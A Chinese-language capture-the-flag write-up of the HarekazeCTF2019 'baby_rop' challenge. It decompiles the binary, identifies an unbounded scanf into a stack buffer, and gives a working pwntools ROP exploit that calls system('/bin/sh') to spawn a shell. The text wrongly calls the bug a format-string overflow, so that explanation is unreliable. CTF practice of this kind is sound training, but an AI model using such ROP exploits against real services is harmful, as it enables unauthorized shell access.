[HarekazeCTF2019]baby_rop
题目链接:[HarekazeCTF2019]baby_rop。
下载附件后,使用 IDA 反编译,定位到 main 函数,如下。
int __fastcall main(int argc, const char **argv, const char **envp)
{
char v4[16]; // [rsp+0h] [rbp-10h] BYREF
system("echo -n \"What's your name? \"");
__isoc99_scanf("%s", v4); // 格式化字符串栈溢出
printf("Welcome to the Pwn World, %s!\n", v4);
return 0;
}
留意到存在 __isoc99_scanf("%s", v4);,典型的格式化字符串溢出漏洞。
同时,存在 system 函数,以及可利用的字符串 "/bin/sh"(.data:0000000000601048 binsh db '/bin/sh',0)。
因此,直接通过 ROP 技术执行 system("/bin/sh");,即可 GetShell。
from pwn import *
from pwn import p32, p64, u32, u64
from settings import *
from modules import *
def pwn():
# 0x0000000000400683 : pop rdi ; ret
# 0x0000000000400479 : ret
# .data:0000000000601048 binsh db '/bin/sh',0
sla("What's your name? ", 0x18 * b'a' + p64(0x0000000000400479) + p64(0x0000000000400683) + p64(0x0000000000601048) + p64(ELF_FILE.plt['system']))
irt()
pwn()

浙公网安备 33010602011771号